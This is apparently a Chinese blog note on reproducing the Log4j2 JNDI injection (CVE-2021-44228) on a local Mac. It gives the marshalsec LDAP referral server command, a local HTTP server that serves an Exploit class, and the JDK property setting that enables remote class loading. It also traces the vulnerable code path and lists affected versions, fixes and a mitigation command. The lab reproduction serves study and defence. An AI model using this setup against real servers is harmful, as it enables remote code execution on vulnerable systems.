log4j2的jndi注入问题 mac本机电脑复现
1.marshalsec服务启动jndi,ldap监听,转发服务
java -cp /Users/xiaotian/workspace/github/marshalsec-master/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://127.0.0.1:8111/#Exploit"
2.用python启动http服务
cd /Users/xiaotian/temp/exploit
python -m SimpleHTTPServer 8111
3.打开idea的log4j2-apache-test项目
执行Test下Log4j2JNDITest类的main方法即可复现该问题。
但其实现在该问题是执行了该目录下的Exploit类的实例化,所以我理解的是不存在远程漏洞注入,这可能根我的jdk版本有关系。(java version “1.8.0_311”)
原因:
会执行到javax.naming.spi.NamingManager里面的147行的代码
1 | clas = helper.loadClassWithoutInit(factoryName); |
里面会执行到java.net.URLClassLoader的findClass方法
里面通过
1 | Resource res = ucp.getResource(path, false); |
加载对应文件资源。
4.我证实了是jdk默认系统配置的原因。
将Log4j2JNDITest类的main方法里面添加
1 | System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); |
即可出现jndi远程注入攻击。
5.官网修复说明(Mitigation Upgrade to Log4j 2.3.2 (for Java 6), 2.12.4 (for Java 7), or 2.17.1 (for Java 8 and later))


6.漏洞影响版本整理
CVE-2021-44228 (2.0-beta9 <= Apache Log4j <= 2.15.0-rc1)-漏洞公开时间12月10号
(CVSS 评分:10.0) – 影响 Log4j 版本从 2.0-beta9 到 2.14.1 的远程代码执行漏洞(在 2.15.0 版本中修复)
CVE-2021-45046 (2.0-beta9 <= Apache Log4j <= 2.15.0-rc2(2.15.0稳定版))
(CVSS 评分:9.0) – 一个信息泄漏和远程代码执行漏洞,影响从 2.0-beta9 到 2.15.0 的 Log4j 版本,不包括 2.12.2(在 2.16.0 版本中修复)
CVE-2021-45105(2.0-beta9 <= Apache Log4j <= 2.16.0)
(CVSS 评分:7.5) – 一个影响从 2.0-beta9 到 2.16.0 的 Log4j 版本的拒绝服务漏洞(在 2.17.0 版中修复)
CVE-2021-4104 (Apache Log4j =1.2.x)
(CVSS 评分:8.1) – 影响 Log4j 1.2 版的不受信任的反序列化缺陷(无可用修复,升级到 2.17.1 版)或者删除log4j 1.x下面的JMSAppender.class类
1 | zip -q -d log4j-*.jar org/apache/log4j/net/JMSAppender.class |
参考博客:
https://logging.apache.org/log4j/2.x/ -官网
https://www.163.com/dy/article/GSS6M2V60552KI0B.html -网易正文
https://blog.csdn.net/weixin_44455388/article/details/122087529 -博客
